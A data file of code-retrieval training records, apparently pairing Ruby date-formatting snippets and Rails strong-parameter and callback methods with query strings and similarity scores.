"def strftime(format)\n format = format.gsub(/((?:\\A|[^%])(?:%%)*)%Z/, \"\\\\1#{zone}\")\n getlocal(utc_offset).strftime(format)\n end",
"def web_date; strftime(WEB_DATE_FORMAT); end",
"def strftime_ordinalized(fmt, format=nil)\n strftime(fmt.gsub(/(^|[^-])%d/, '\\1_%d_')).gsub(/_(\\d+)_/) { |s| s.to_i.ordinalize }\n end",
"def to_s\n # TODO this breaks the minus spec: strftime\n format \"#{year}-%02d-%02d\", month, day\n end",
"def name_of_day(style = :full)\n @time.strftime(style == :full ? \"%A\" : \"%a\")\n end",
"def strf_standard(datetime, length)\n\t\tif length == 'short'\n\t\t\treturn datetime.strftime('%a %k:%M%P - %b %-d')\n\t\tend\n\tend",
"def format_timestamp(t)\n t.strftime('%s%9N')\n end",
"def fancy_date(date)\n h date.strftime(\"%A, %B %d, %Y\")\n end",
"def email_date; strftime(EMAIL_TIME_FORMAT); end",
"def short_time\n \ttime.strftime \"%b %-d\"\n end",
"def w; cat @time.strftime('%w') end",
"def time_stamp_strf(object, type, strf)\r\n\t\tresult = Time.now.strftime(strf)\r\n\t\tif object.has_attribute?(type)\r\n\t\t\tresult = object[type].strftime(\"#{strf}\")\r\n\t\tend\r\n\t\tresult\r\n\tend",
"def email_time; strftime(EMAIL_TIME_FORMAT); end",
"def rfc2822\n strftime('%a, %d %b %Y %T ') << (utc? ? '-0000' : strftime('%z'))\n end",
"def month_name(number); end",
"def as_datetime_in_words\n strftime \"%b %d %I:%M %p\"\n end",
"def date_text\n case date_code\n when -1\n \"今\"\n when 0\n \"今日\"\n when 1\n \"明日\"\n when 2\n \"明後日\"\n else\n \"#{date_code}日後\"\n end\n end",
"def wday_shortname date\n %w'вс пн вт ср чт пт сб'[date.wday]\n end",
"def header(month, day, year=Time.now.year)\n time = Time.new(year, month, day)\n time.strftime(\"-- %b #{[time.week_start, time.week_end].uniq.join(\"-\")}\\n\")\n end",
"def j; cat @time.strftime('%j') end",
"def nice_date_form(the_date)\n \treturn the_date ? the_date.strftime('%b %d, %Y') : ''\n\tend",
"def human_str(args = {})\n args = {\n :time => true,\n :number_endings => {\n 0 => \"th\",\n 1 => \"st\",\n 2 => \"nd\",\n 3 => \"rd\",\n 4 => \"th\",\n 5 => \"th\",\n 6 => \"th\",\n 7 => \"th\",\n 8 => \"th\",\n 9 => \"th\"\n }\n }.merge(args)\n \n now = Time.now\n \n #Generate normal string.\n date_str = \"\"\n \n if now.day != @t_day and now.month == @t_month and now.year == @t_year\n last_digit = @t_day.to_s[-1, 1].to_i\n \n if ending = args[:number_endings][last_digit]\n #ignore.\n else\n ending = \".\"\n end\n \n date_str << \"#{@t_day}#{ending} \"\n elsif now.day != @t_day or now.month != @t_month or now.year != @t_year\n date_str << \"#{@t_day}/#{@t_month} \"\n end\n \n if now.year != @t_year\n date_str << \"#{@t_year} \"\n end\n \n if args[:time]\n date_str << \"#{@t_hour}:#{\"%02d\" % @t_min}\"\n end\n \n return date_str\n end",
"def tt(time, format=:short); '13:37'; end",
"def calendar_date_header date\n \"#{I18n.translate('date.day_names')[date.wday]} #{I18n.localize date, format: :long}\"\n end",
"def web_time; strftime(WEB_TIME_FORMAT); end",
"def translated_month_names; end",
"def now_str() _format_dt DateTime.now, DT_TM end",
"def fmt_date(dt)\n if dt.present?\n dt.strftime(ApplicationHelper.date_fmt)\n end\n end",
"def show_date_format(time)\n unless time.blank?\n time.strftime(\"%Y年%m月%d日\") rescue '--'\n end\n end",
"def formatted_smalldate(d) # Mon, Januaury 01\n d.strftime('%b, %d') unless !d\n end",
"def format_date_nicely(date)\n\tn = Time.new(2013, 10, 31)\n\tn.strftime(\"%d/%m/%Y\")\nend",
"def date_dashes(d)\n d && d.length == 8 ? d.slice(0, 4) + \"-\" + d.slice(4, 2) + \"-\" + d.slice(6, 2) : d\n end",
"def fmt(cmd); \" %s %s\" % [cmd[:time].strftime(@options[:time_format]), cmd[:cmd]]; end",
"def fmt_time(t)\n if t.present?\n ApplicationHelper.localtime(t).strftime(ApplicationHelper.gen_time_fmt)\n end\n end",
"def partial_date_string(year, month, day)\n if !day.nil?\n \"on #{Date::MONTHNAMES[month]}, #{day} of #{year}\"\n elsif !month.nil?\n \"in #{Date::MONTHNAMES[month]} of #{year}\"\n else\n \"in #{year}\"\n end\n end",
"def localize(time, opts)\n time.strftime(opts[:format])\n end",
"def out_of_bounds_time_format; end",
"def show_in_strftime\n @date.strftime(\"%d/%m/%Y -- %H:%M\")\n end",
"def name_of_month(style = :full)\n @time.strftime(style == :full ? \"%B\" : \"%b\")\n end",
"def short_date( date )\n date.strftime( '%b %d, %Y')\n end",
"def formatta_locale(format)\n if defined? I18n\n I18n.l self, format: format\n else\n formattazione = strftime format\n formattazione\n .gsub(/January/i, \"Gennaio\")\n .gsub(/February/i, \"Febbraio\")\n .gsub(/March/i, \"Marzo\")\n .gsub(/April/i, \"Aprile\")\n .gsub(/May/i, \"Maggio\")\n .gsub(/June/i, \"Giugno\")\n .gsub(/July/i, \"Luglio\")\n .gsub(/August/i, \"Agosto\")\n .gsub(/September/i, \"Settembre\")\n .gsub(/October/i, \"Ottobre\")\n .gsub(/November/i, \"Novembre\")\n .gsub(/December/i, \"Dicembre\")\n end\n end",
"def test_format_strftime_record\n d = create_driver %[\n tag #{@tag}\n key #{@key}\n format %d/%b/%Y:%H:%M:%S %z\n source record\n standard localtime\n ]\n\n d.run do\n d.emit({\"a\"=>1}, Time.parse(\"1990-04-14 09:45:15 UTC\").to_i)\n end\n\n record = d.emits.first.last\n assert_equal \"14/Apr/1990:11:45:15 +0200\", record[@key]\n end",
"def start_time_text\n if (started_at == nil)\n return \"Don't know\"\n end\n diff = started_at.yday - Time.now.yday\n sameyear = (started_at.year == Time.now.year)\n if (diff == 0 && sameyear)\n started_at.strftime(\"TODAY at %I:%M %p\")\n elsif (diff == -1 && sameyear)\n started_at.strftime(\"YESTERDAY at %I:%M %p\")\n else\n started_at.strftime(\"%A, %B %d, %Y at %I:%M %p\")\n end\n end",
"def day_name; Date::DAYNAMES[wday] end",
"def copyright_period\n if Time.now.year > 2009\n raw %Q(2009–#{Time.now.year})\n else\n raw %Q(2009)\n end\n end",
"def year_name(number); end",
"def get_yyyymmdd_hhnnss(s)\n return s.gsub('T', ' ').gsub('Z', '')\n end",
"def human_date(date, optional_text= nil)\n if optional_text\n date.strftime(\"#{optional_text}\"+\" %d.%m.%Y\")\n else\n date.strftime(\"%d.%m.%Y\")\n end\n end",
"def say(*fmt)\n print Time.now.localtime.strftime('[%Y%m%d-%H%M%S] ')\n printf *fmt\n puts ''\nend",
"def date\n tt = Time.gm(*filename_base.scan(/\\d+/))\n\n def tt.to_s\n to_formatted_s(:short_date_with_year) + \" \" + to_formatted_s(:short_time)\n end\n\n tt\n\tend",
"def dbf\n strftime(DB_TIME_FORMAT)\n end",
"def dbf\n strftime(DB_TIME_FORMAT)\n end",
"def format_date(date, format)\n date = datetime(date)\n if format.nil? || format.empty? || format == \"ordinal\"\n date_formatted = ordinalize(date)\n else\n format.gsub!(/%a/, ABBR_DAYNAMES_DE[date.wday])\n format.gsub!(/%A/, DAYNAMES_DE[date.wday])\n format.gsub!(/%b/, ABBR_MONTHNAMES_DE[date.mon])\n format.gsub!(/%B/, MONTHNAMES_DE[date.mon])\n date_formatted = date.strftime(format)\n end\n date_formatted\n end",
"def german_time_format(date)\n date.strftime(\"%d.%m.%y - %H:%M\")\n end",
"def localized_date(date)\n date.strftime(\"%b %d, %Y\")\n end",
"def formatted_date( date )\n date.strftime( \"%Y-%b-%d\" ) + \" \" + date.strftime( \"%A\" ).slice( 0..2 ) unless date == nil\n end",
"def format_date(date)\n date.strftime(\"%b #{date.day.ordinalize}, %Y\")\n end",
"def expected_note_short_date_format(date)\n (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d') : date.strftime('%b %-d, %Y')\n end",
"def datetime_format\n end",
"def format_name\n title\n end",
"def January ; Date::MONTHNAMES.index(\"January\"); end",
"def short_select_text_method\n ['du', beginning_of_week, 'au', end_of_week]\n .map(&:to_s)\n .map(&:strip)\n .join(' ')\n end",
"def format_date_nicely(date)\n date.strftime '%d/%m/%Y'\nend",
"def month_label\n \"#{label}\"\n end",
"def pretty_date\n from_index[:modified].sub(/(\\d{4})(\\d{2})(\\d{2})\\d{6}/,'\\1-\\2-\\3')\n end",
"def formal_publication_date\n publication_date.to_s(:formal_wo_ordinal)\n end",
"def expected_note_long_date_format(date)\n format = (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d %l:%M%P') : date.strftime('%b %-d, %Y %l:%M%P')\n format.gsub(/\\s+/, ' ')\n end",
"def format_date_nicely(date)\n date.strftime(\"%d/%m/%Y\")\nend",
"def format_date_nicely(date)\n date.strftime(\"%d/%m/%Y\")\nend",
"def display_time_for_tweet\n created_at.strftime(\"%B #{created_at.day.ordinalize}, %Y\")\n end",
"def formatwrittendate(unformattedtime)\n unformattedtime.strftime('%A, %d %B, %Y')\n end",
"def fmt_time(dt) _format_dt dt, H12_M_PM end",
"def date(input, format); end",
"def fmt_miltime(t)\n if t.present?\n ApplicationHelper.localtime(t).strftime(ApplicationHelper.time_fmt)\n end\n end",
"def view_date(str)\r\n\t\t(wday,day,mon,year,hhmmss,etc) = str.to_s.split(/ /)\r\n\t\tmonth = @months[mon]\r\n\t\tstr = \"#{year}\\/#{month}\\/#{day} #{hhmmss}\"\r\n\t\treturn str\r\n\tend",
"def date_short(date)\n\t\tdate.strftime(\"%b %e, %Y\") if !date.blank?\n\tend",
"def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end"
] | [
"0.867353",
"0.83066976",
"0.8066974",
"0.79515195",
"0.7152179",
"0.6884948",
"0.6838843",
"0.6750337",
"0.6683784",
"0.6597377",
"0.651525",
"0.65092206",
"0.64757514",
"0.64757514",
"0.6471596",
"0.641031",
"0.63935286",
"0.63405555",
"0.63396007",
"0.63278127",
"0.62727964",
"0.62632656",
"0.62591594",
"0.62588394",
"0.6253649",
"0.622976",
"0.62196666",
"0.62068194",
"0.61631644",
"0.6127962",
"0.6126397",
"0.6122298",
"0.61046046",
"0.6072477",
"0.6070564",
"0.59922606",
"0.5985697",
"0.595716",
"0.59566647",
"0.5939542",
"0.5936967",
"0.5925864",
"0.5909543",
"0.5908407",
"0.5901979",
"0.5894156",
"0.5872318",
"0.5871586",
"0.586931",
"0.5833652",
"0.5830696",
"0.5820724",
"0.5818589",
"0.5812635",
"0.5810638",
"0.5801131",
"0.57855654",
"0.57825226",
"0.5775182",
"0.57709956",
"0.5769173",
"0.57633114",
"0.5750525",
"0.57346934",
"0.57267416",
"0.571344",
"0.57133955",
"0.5693109",
"0.568696",
"0.567897",
"0.5673554",
"0.56727135",
"0.5670014",
"0.56587756",
"0.56587756",
"0.5648016",
"0.5644205",
"0.56373954",
"0.56344616",
"0.5631138",
"0.56306046",
"0.56284326",
"0.5624774",
"0.56202763",
"0.5619551",
"0.56045413",
"0.5603029",
"0.56016886",
"0.5581038",
"0.5576466",
"0.55727464",
"0.55727464",
"0.5572658",
"0.5565507",
"0.55646443",
"0.55615634",
"0.5561372",
"0.5559405",
"0.5557021",
"0.55492884"
] | 0.65882015 | 10 |
Use callbacks to share common setup or constraints between actions. | def set_credit_card
@credit_card = CreditCard.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Only allow a trusted parameter "white list" through. | def credit_card_params
params.require(:credit_card).permit(:customer_profile_id, :customer_payment_profile_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
